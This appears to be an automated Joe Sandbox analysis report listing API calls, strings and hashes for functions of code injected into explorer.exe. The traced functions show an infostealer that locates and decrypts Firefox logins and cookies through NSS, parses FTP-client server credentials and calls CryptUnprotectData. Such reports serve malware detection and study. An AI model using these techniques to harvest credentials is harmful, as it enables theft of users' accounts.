RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: d8d3747953ee54d21e93ec1296e75c01128e000dd76c3769f07b1d801e95ec36
Instruction ID: a1e249c7037d9b01713def8d546b53385e1ab5bca549a283b3808f3ce0562c6e
Opcode Fuzzy Hash: d8d3747953ee54d21e93ec1296e75c01128e000dd76c3769f07b1d801e95ec36
Instruction Fuzzy Hash: 98A002755505045BDD4457A49E0DA1A3A38F7C4702F504554714986451DD6454C48721

Function 001212A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 001212B5

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: 6125f591f176d1f802ac4bfac213e4443455d4045ba49022b246d9e5c1912b05
Instruction ID: 27ba6132a7849d700dc07a8c1f60111e9e909b00e793b56d9ca19d8962ee5371
Opcode Fuzzy Hash: 6125f591f176d1f802ac4bfac213e4443455d4045ba49022b246d9e5c1912b05
Instruction Fuzzy Hash: CA11F8B1A01219AFDB20DFA5E988AAEB7FDFB58351B104029F949E3240D730DD84CB60

Function 0012B828 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNELBASE(00000000,00000000,?,?,00000000,-00080006), ref: 0012B848

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5a049e3d4868bd484f16d9b72ff9cd3b33bbde7cd448f4a90f0be1766015d191
Instruction ID: 06a12929f770485bc7c4d44d80bb0dc6d31ef142e032139057eea0102eaa8fb0
Opcode Fuzzy Hash: 5a049e3d4868bd484f16d9b72ff9cd3b33bbde7cd448f4a90f0be1766015d191
Instruction Fuzzy Hash: 8BF09C31A0822C9AD7149ABDBC84AEAF7ACDF49754F004125E955E2090E3704D2547D1

Function 00121677 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00121684

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: f3d9ddcdef5eaeed2614d83be1f0f9b9fe4c2640473f698fb9944c09d618cd74
Instruction ID: 897936178be9393e0164b0bb43a7c61a44e23e8f4cba8d046252ee9bf6007faa
Opcode Fuzzy Hash: f3d9ddcdef5eaeed2614d83be1f0f9b9fe4c2640473f698fb9944c09d618cd74
Instruction Fuzzy Hash: CBC08C30160232EFE7701B309C09B8A36E4AF297B2F070929F4C59D0C0E6F508C0CA90

Function 0012104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,0012158A), ref: 00121056

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 84b6cf383a23aa3d68e6de86f2cce2894c2013998eca807e254dc7cb79966b3f
Instruction ID: 67a01a4ab1015e191de99f1a4f258a7b20cf1df63400e263ea65b6fac3fae834
Opcode Fuzzy Hash: 84b6cf383a23aa3d68e6de86f2cce2894c2013998eca807e254dc7cb79966b3f
Instruction Fuzzy Hash: 8FA002F07D57007AFD695762AE1FF1529389740F02F100244B30D7C4D055E87584852D

Function 0012105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,00124A5B,?,?,00000000,?,?,?,?,00124B66,?), ref: 00121065

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: de27577285e0f8fa5b337c909b367f61b4a6db62f4090049cd6aeea53c03c5f6
Instruction ID: 7d5936a23ede11832633d1160d489de6b899c149b991fe6bd0f57a7efbb1ad00
Opcode Fuzzy Hash: de27577285e0f8fa5b337c909b367f61b4a6db62f4090049cd6aeea53c03c5f6
Instruction Fuzzy Hash: 0AA00270690B0066EDB457205D0EF052A246780B01F6045447245A98D149A5E0C48A18

Non-executed Functions

Function 00124440 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289stringcommemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(001762B0,00000000,00000001,001762A0,?), ref: 0012445F
SysAllocString.OLEAUT32(?), ref: 001244AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 0012456E
lstrcmpiW.KERNEL32(Servers,?), ref: 0012457D
lstrcmpiW.KERNEL32(Settings,?), ref: 0012458C

Part of subcall function 001211E1: lstrlenW.KERNEL32(?,7570D5B5,00000000,?,00000000,?,001246E3), ref: 001211ED
Part of subcall function 001211E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0012120F
Part of subcall function 001211E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00121231

lstrcmpiW.KERNEL32(Server,?), ref: 001245BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 001245CD
lstrcmpiW.KERNEL32(Host,?), ref: 00124657
lstrcmpiW.KERNEL32(Port,?), ref: 00124679
lstrcmpiW.KERNEL32(User,?), ref: 0012469F
lstrcmpiW.KERNEL32(Pass,?), ref: 001246C5
wsprintfW.USER32 ref: 0012471E

Strings

RecentServers, xrefs: 00124569
User, xrefs: 0012469A
Pass, xrefs: 001246C0
Servers, xrefs: 00124578
Server, xrefs: 001245B9
Host, xrefs: 00124652
Port, xrefs: 00124674
Settings, xrefs: 00124587
LastServer, xrefs: 001245C8
%s:%s, xrefs: 00124718

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$AllocCreateInstancelstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 2230072276-1234691226
Opcode ID: b9839a9cf6943e59f487d9195d4f8c26b90071c7480c266fa942e764792e8926
Instruction ID: fe699c55de698eb184ad29670d68d5e94126182757d046811f88fde8466f97ac
Opcode Fuzzy Hash: b9839a9cf6943e59f487d9195d4f8c26b90071c7480c266fa942e764792e8926
Instruction Fuzzy Hash: 8DB12471204312AFD700DF64D884E6AB7F9EFC9745F00896CF5998B260DB71E85ACB62

Function 0012349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000), ref: 001234C0

Part of subcall function 001233C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 00123401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,001237A8), ref: 001234E9

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 0012351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 00123541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00123586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 0012358F
lstrcmpiW.KERNEL32(00000000,File), ref: 001235B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 001235DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 001235F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 00123606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0012361E
GetFileSize.KERNEL32(?,00000000), ref: 00123631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00123658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0012366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00123681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 001236AD
CloseHandle.KERNEL32(?), ref: 001236C0
CloseHandle.KERNEL32(00000000), ref: 001236F5

Part of subcall function 00121C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 00121CC0
Part of subcall function 00121C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00121CDA
Part of subcall function 00121C9F: CloseHandle.KERNEL32(00000000), ref: 00121CE6

CloseHandle.KERNEL32(?), ref: 00123707

Strings

File, xrefs: 001235B0

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 92f4e4829c9e0e7d27928ed16dd16ed8fb8d7b53499c4ac80161e10463ad38c3
Instruction ID: 0c9966463d3a063a551b6ed9d743881121033ae64ee6c0d503b63f7333022bc8
Opcode Fuzzy Hash: 92f4e4829c9e0e7d27928ed16dd16ed8fb8d7b53499c4ac80161e10463ad38c3
Instruction Fuzzy Hash: ED61A170204311BFD710AF21EC48F2B7BF9EB94754F00092CF95A962A1D739DA958B55

Function 00174438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 00174502
memcmp.NTDLL ref: 0017475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 00174803

Strings

access, xrefs: 00174725
no such vfs: %s, xrefs: 0017482F
cach, xrefs: 001746DC
invalid uri authority: %.*s, xrefs: 00174513
no such %s mode: %s, xrefs: 00174784
file, xrefs: 00174474
mode, xrefs: 00174712
cache, xrefs: 001746FA
%s mode not allowed: %s, xrefs: 001747D0
localhost, xrefs: 001744FD

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: e66ec99cf7dc033d6b29ab74ff19294c33f1614f0875e6b8b9807ae804dd46aa
Instruction ID: 4d94b57056ef907bf43c67bca0035abf13e37ebc839f2d45c4efd0d42e3a27d0
Opcode Fuzzy Hash: e66ec99cf7dc033d6b29ab74ff19294c33f1614f0875e6b8b9807ae804dd46aa
Instruction Fuzzy Hash: A3C10270A083918BDB38CE28849073AB7F1AB9A314F15852EF4DE87292D734D945CB86

Function 00122B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00121953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00122F0C), ref: 00121973
Part of subcall function 00121953: lstrlenW.KERNEL32(00176564,?,?,00122F0C), ref: 00121978
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,?), ref: 00121990
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,00176564), ref: 00121994

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?,00000000), ref: 00122B3D
lstrcmpiW.KERNEL32(?,001762CC), ref: 00122B63
lstrcmpiW.KERNEL32(?,001762D0), ref: 00122B7B

Part of subcall function 001219B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00122CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 001219C4

StrStrIW.SHLWAPI(00000000,logins.json), ref: 00122BE7
StrStrIW.SHLWAPI(00000000,cookies.sqlite), ref: 00122C16
FindNextFileW.KERNEL32(00000000,00000010), ref: 00122C43
FindClose.KERNEL32(00000000), ref: 00122C52

Strings

\*.*, xrefs: 00122B15
logins.json, xrefs: 00122BE1
cookies.sqlite, xrefs: 00122C10

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Findlstrlen$Filelstrcatlstrcmpi$CloseFirstNext
String ID: \*.*$cookies.sqlite$logins.json
API String ID: 1108783765-3717368146
Opcode ID: 5b3bfa3f99d59140938c15a777bb9f7eaf1ec1465daf6d990c28e44227ac04c2
Instruction ID: 8401d6d2ad77fcc9502391926b08019eaaf8ba59e3e74ff3fd91c0d408c911b3
Opcode Fuzzy Hash: 5b3bfa3f99d59140938c15a777bb9f7eaf1ec1465daf6d990c28e44227ac04c2
Instruction Fuzzy Hash: 603184303047257BCB14EB70B85993F73EAABE4704B04492DF849D3282EB79CDA59652

Function 00126E6A Relevance: 16.7, APIs: 5, Strings: 4, Instructions: 955COMMON

Download Yara Rule

Strings

-x0, xrefs: 00127325
NaN, xrefs: 001273F8
Inf, xrefs: 00127550
,, xrefs: 00126F36

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID: ,$-x0$Inf$NaN
API String ID: 0-2346028406
Opcode ID: 46b1b42c4b67772552d4441cd62993af4149069f1b702c1b8f8e1a9887d147c7
Instruction ID: 91806d8bae3bc27e61939f81bab72dd5e49acc9a97e38397b4939b893c4edbbc
Opcode Fuzzy Hash: 46b1b42c4b67772552d4441cd62993af4149069f1b702c1b8f8e1a9887d147c7
Instruction Fuzzy Hash: A3621671A0C3A18BD729CF28E49036BBFE1AF96304F29495DF4C5933D1E761C9658B82

Function 00145F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 00126AAA: memset.NTDLL ref: 00126AC5

memset.NTDLL ref: 00145F53

Strings

cannot open %s column for writing, xrefs: 00146255
cannot open virtual table: %s, xrefs: 00145FAA
no such column: "%s", xrefs: 00146271
cannot open table without rowid: %s, xrefs: 00145FCF
cannot open view: %s, xrefs: 00145FF3
foreign key, xrefs: 001460A3
indexed, xrefs: 001460E8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: effc8723dd7ccb4450f3183af0c045f921e460c6c6fa2cbd4447aae116dae6b9
Instruction ID: 555e6b57cf0a322c189fd5bbde013ccffef5f696896b3e6b60f93c2db97796d5
Opcode Fuzzy Hash: effc8723dd7ccb4450f3183af0c045f921e460c6c6fa2cbd4447aae116dae6b9
Instruction Fuzzy Hash: D3C19D70604702AFCB14DF24C480A2EB7E2BFD9708F14892DF85997292DB71DD56CB92

Function 00122112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00122127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 0012213A
wsprintfA.USER32 ref: 0012214F

Strings

%li, xrefs: 00122149

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: 3674ae74c393ffff8c723bc9dd04b86530a6f49bbd8394942a19e3b44226637c
Instruction ID: 15c270869f3f6dbcffe7ca1ea38ffa320a41359255d68b77882f29eb2a239fab
Opcode Fuzzy Hash: 3674ae74c393ffff8c723bc9dd04b86530a6f49bbd8394942a19e3b44226637c
Instruction Fuzzy Hash: 97E0D83264021877C7207BB8AC0AEEF7F7DDB40B55F404195F908E2586E6724AA493D5

Function 0012123B Relevance: 4.5, APIs: 3, Instructions: 49encryptionstringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00123E4B,00000000), ref: 0012124A
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00121268

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00121295

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: BinaryCryptHeapString$AllocateProcesslstrlen
String ID:
API String ID: 117552131-0
Opcode ID: 9cd4c75a7e81a0d2ec0ac9206cb4e44ea6b28820854ca3260b0616448e42de94
Instruction ID: 0a8b950a57f89bb33fbd3da4e2f4ec142a0cf9e04a6a32e1e737a9df8e46b1db
Opcode Fuzzy Hash: 9cd4c75a7e81a0d2ec0ac9206cb4e44ea6b28820854ca3260b0616448e42de94
Instruction Fuzzy Hash: A601ADB1200315BFE328CF25DC89FBBB7ACEB90691F10462EF505C2280EBA1DC458A70

Function 001211E1 Relevance: 4.5, APIs: 3, Instructions: 46encryptionstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,7570D5B5,00000000,?,00000000,?,001246E3), ref: 001211ED
CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0012120F

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00121231

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: BinaryCryptHeapString$AllocateProcesslstrlen
String ID:
API String ID: 117552131-0
Opcode ID: a45632201d6c041be8ebe640bc76409ca1d1f5511963bd29dfba0108310254ce
Instruction ID: df1cfb17c20027da2512d45c5128a6778b27486643864281f7570c020e49a392
Opcode Fuzzy Hash: a45632201d6c041be8ebe640bc76409ca1d1f5511963bd29dfba0108310254ce
Instruction Fuzzy Hash: 5CF0907220431E7BE210DF56EC81FA7BBADDF91794F25002EB601C2181DEA2ED4982B4

Function 00121FCE Relevance: 3.0, APIs: 2, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00121FFA
RtlMoveMemory.NTDLL(?,?,?), ref: 00122015

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: CryptDataMemoryMoveUnprotect
String ID:
API String ID: 2807545630-0
Opcode ID: 23c7016d83ed52c6cb53537a13e49d3e37d285f1d2e4a77bce4ca4640899c37a
Instruction ID: 8b08b62f7d690337643d6fc810d042d07842bbabf924f76247a06c24e639e268
Opcode Fuzzy Hash: 23c7016d83ed52c6cb53537a13e49d3e37d285f1d2e4a77bce4ca4640899c37a
Instruction Fuzzy Hash: E401E8B1A01229BB9B25DF9AEC84DAFBBBCEF55750B10016AF905D3200D7719E50CBA4

Function 00121198 Relevance: 3.0, APIs: 2, Instructions: 38encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,00000001,00000000,?), ref: 001211B2

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

CryptBinaryToStringA.CRYPT32(?,?,00000001,00000000,?,?,?,00000001,00000000,?), ref: 001211D2

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: BinaryCryptHeapString$AllocateProcess
String ID:
API String ID: 3825993179-0
Opcode ID: d6ab0d86803d3bca08f9b7cb1f3028cef1e469ed9e85ef839e147a79e0496014
Instruction ID: db0869d64c7e5902d5dc5a752b41db6e752a0353459fcd34698d0887d6e0f29f
Opcode Fuzzy Hash: d6ab0d86803d3bca08f9b7cb1f3028cef1e469ed9e85ef839e147a79e0496014
Instruction Fuzzy Hash: 2CF0A7326001287BD720D6A7DC84DEBFB7DDF95BA1B100169F90DD3140DA729D5483A0

Function 0013B35C Relevance: 2.9, APIs: 2, Instructions: 383COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,?,?,?), ref: 0013B5DE
_alldiv.NTDLL(?,?,?,?), ref: 0013B6D2

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _alldiv_allmul
String ID:
API String ID: 727729158-0
Opcode ID: 4183637bc278ea4f491d7acdbcb6adbc9c437366901cd1489e751b6a55fb4a1e
Instruction ID: 3338feab9980b8bd6631664f5577b87ad94b12580fa83d9d86c3fbcffee5537a
Opcode Fuzzy Hash: 4183637bc278ea4f491d7acdbcb6adbc9c437366901cd1489e751b6a55fb4a1e
Instruction Fuzzy Hash: 22D17371A087119BC725DF25C4D1A2EB7E2BFD8754F048A2DF9959B251EB30EC41CB81

Function 0013B97E Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9b8042e8d47b14f16f02b4684d627243deb5e2a14b86f841b67c000a8fde787
Instruction ID: 09bd408ee8c3ac56138ed12d63c849861e62a359ec2b151373e7fe0615f073eb
Opcode Fuzzy Hash: b9b8042e8d47b14f16f02b4684d627243deb5e2a14b86f841b67c000a8fde787
Instruction Fuzzy Hash: 02C1C16391A6A24FDB158D3894413B9BB93EBB2300F1CC96DD4E58B7C3D728D916C351

Function 0012C2F9 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 42cac66ebe1ff15dbe57e0d02516e2c732b3a03d5a38bc36668124b3a0d2d49c
Instruction ID: 8f38b5c35dbe94d8a95eb34b48ab35e1f206d1a33e7dd18de0b0f14ee152ae3f
Opcode Fuzzy Hash: 42cac66ebe1ff15dbe57e0d02516e2c732b3a03d5a38bc36668124b3a0d2d49c
Instruction Fuzzy Hash: 4C51E3726083248BC314EE28E89167FB2D6ABD8304F14892DFAD687292DB74D82587C1

Function 001224B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

Part of subcall function 00121090: lstrlenW.KERNEL32(?,?,00000000,001217E5), ref: 00121097
Part of subcall function 00121090: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000), ref: 001210A8

Part of subcall function 001219B4: lstrlenW.KERNEL32(00000000,00000000,00000000,00122CAF,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 001219C4

GetCurrentDirectoryW.KERNEL32(00000104,00000000), ref: 00122503
SetCurrentDirectoryW.KERNEL32(00000000), ref: 0012250A
LoadLibraryW.KERNEL32(00000000), ref: 00122563
SetCurrentDirectoryW.KERNEL32(?), ref: 00122570
GetProcAddress.KERNEL32(00000000,NSS_Init), ref: 00122591
GetProcAddress.KERNEL32(00000000,NSS_Shutdown), ref: 0012259E
GetProcAddress.KERNEL32(00000000,SECITEM_FreeItem), ref: 001225AB
GetProcAddress.KERNEL32(00000000,PK11_GetInternalKeySlot), ref: 001225B8
GetProcAddress.KERNEL32(00000000,PK11_Authenticate), ref: 001225C5
GetProcAddress.KERNEL32(00000000,PK11SDR_Decrypt), ref: 001225D2
GetProcAddress.KERNEL32(00000000,PK11_FreeSlot), ref: 001225DF

Part of subcall function 0012190B: lstrlen.KERNEL32(?,?,?,?,00000000,00122783), ref: 0012192B
Part of subcall function 0012190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,00122783), ref: 00121930
Part of subcall function 0012190B: lstrcat.KERNEL32(00000000,?), ref: 00121946
Part of subcall function 0012190B: lstrcat.KERNEL32(00000000,00000000), ref: 0012194A

Strings

nss3.dll, xrefs: 00122510
SECITEM_FreeItem, xrefs: 001225A0
PK11_GetInternalKeySlot, xrefs: 001225AD
PK11_Authenticate, xrefs: 001225BA
PK11_FreeSlot, xrefs: 001225D4
sql:, xrefs: 0012262B
NSS_Shutdown, xrefs: 00122593
NSS_Init, xrefs: 0012258B
PK11SDR_Decrypt, xrefs: 001225C7

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: AddressProc$lstrlen$CurrentDirectory$Heaplstrcat$AllocateByteCharLibraryLoadMultiProcessWide
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$SECITEM_FreeItem$nss3.dll$sql:
API String ID: 3366569387-3272982511
Opcode ID: 6c10c3e5c279f44bfe6b2eaf32437dd6b6054ba5eee2ae7aedeb5de4e7bc684f
Instruction ID: 7539d52274514ee8c9b95be1fcd8464e89928e546d1e125ab62417948d986c6e
Opcode Fuzzy Hash: 6c10c3e5c279f44bfe6b2eaf32437dd6b6054ba5eee2ae7aedeb5de4e7bc684f
Instruction Fuzzy Hash: C6414332A00771BBCB28AF357C5446E3AFADBA1780700442EF945D3261DB348D9ACB51

Function 00125E5A Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 00125BF5: memset.NTDLL ref: 00125C07

_alldiv.NTDLL(?,?,05265C00,00000000), ref: 001260E1
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 001260EC
_alldiv.NTDLL(?,?,000003E8,00000000), ref: 00126113
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 0012618E
_alldiv.NTDLL(?,?,05265C00,00000000), ref: 001261B5
_allrem.NTDLL(00000000,?,00000007,00000000), ref: 001261C1

Strings

%04d, xrefs: 00126016
%06.3f, xrefs: 00126229
%02d, xrefs: 00126039, 001261D3
W, xrefs: 00126193
%03d, xrefs: 001261F3
